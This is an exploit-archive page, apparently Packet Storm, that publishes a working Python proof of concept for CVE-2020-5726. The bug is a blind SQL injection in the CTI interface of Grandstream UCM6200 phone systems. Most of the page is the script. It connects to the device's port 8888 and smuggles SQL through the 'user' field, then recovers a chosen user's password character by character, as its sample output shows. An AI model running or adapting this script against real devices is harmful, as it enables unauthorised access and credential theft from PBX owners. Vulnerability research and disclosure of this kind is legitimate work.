exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Grandstream UCM6200 Series CTI Interface SQL Injection

Grandstream UCM6200 Series CTI Interface SQL Injection
Posted Mar 31, 2020
Authored by Jacob Baines

Grandstream UCM6200 Series CTI Interface versions 1.0.20.20 and below suffer from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2020-5726
SHA-256 | fcf24eefeddb201c346536166ab265e01a1416b56845436fbce588e35ef4d37b

Grandstream UCM6200 Series CTI Interface SQL Injection

Change Mirror Download
# Exploit Title: Grandstream UCM6200 Series CTI Interface - 'user_password' SQL Injection
# Date: 2020-03-30
# Exploit Author: Jacob Baines
# Vendor Homepage: http://www.grandstream.com/
# Software Link: http://www.grandstream.com/support/firmware/ucm62xx-official-firmware
# Version: 1.0.20.20 and below
# Tested on: Grandstream UCM6202 1.0.20.20
# CVE : CVE-2020-5726
# Grandstream UCM6200 Series CTI Interface SQL Injection Password Disclosure
# Advisory: https://www.tenable.com/security/research/tra-2020-17
# Sample output:
#
# albinolobster@ubuntu:~$ python3 cti_injection.py --rhost 192.168.2.1
--user lolwat
# [+] Reaching out to 192.168.2.1:8888
# [+] Password length 9
# [+] The password is LabPass1%

import sys
import time
import json
import struct
import socket
import argparse

def send_cti_with_length(sock, payload):
to_send = struct.pack('>I', len(payload))
to_send = to_send + payload
sock.sendall(to_send)

return recv_cti_with_length(sock)

def recv_cti_with_length(sock):
length = sock.recv(4)
length = struct.unpack('>I', length)[0]
response = sock.recv(length)
return response

top_parser = argparse.ArgumentParser(description='')
top_parser.add_argument('--rhost', action="store", dest="rhost",
required=True, help="The remote host to connect to")
top_parser.add_argument('--rport', action="store", dest="rport", type=int,
help="The remote port to connect to", default=8888)
top_parser.add_argument('--user', action="store", dest="user",
required=True, help="The user to brute force")
args = top_parser.parse_args()


print('[+] Reaching out to ' + args.rhost + ':' + str(args.rport))

length = 0
while length < 100:

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((args.rhost, args.rport))

challenge_resp = send_cti_with_length(sock, b"action=challenge&user=" +
args.user.encode('utf-8') + b"' AND LENGTH(user_password)=" +
str(length).encode('utf-8') + b"--")
inject_result = json.loads(challenge_resp)

if (inject_result['status'] == 0):
break
else:
length = length + 1

sock.close()

if length == 100:
print('[-] Failed to discover the password length')
sys.exit(1)

print('[+] Password length', length)

password = ''
while len(password) < length:
value = 0x20
while value < 0x80:

if value == 0x22 or value == 0x5c:
temp_pass = password + '\\'
temp_pass = temp_pass + chr(value)
else:
temp_pass = password + chr(value)

temp_pass_len = len(temp_pass)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((args.rhost, args.rport))

challenge_resp = send_cti_with_length(sock,
b"action=challenge&user=" + args.user.encode('utf-8') + b"' AND
user_password LIKE \'" + temp_pass.encode('utf-8') + b"%' AND
substr(user_password,1," + str(temp_pass_len).encode('utf-8') + b") = '" +
temp_pass.encode('utf-8') + b"'--")
inject_result = json.loads(challenge_resp)

sock.close()

if (inject_result['status'] == 0):
password = temp_pass
break
else:
value = value + 1
continue

if value == 0x80:
print('oh no.')
sys.exit(0)

print('[+] The password is', password)
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close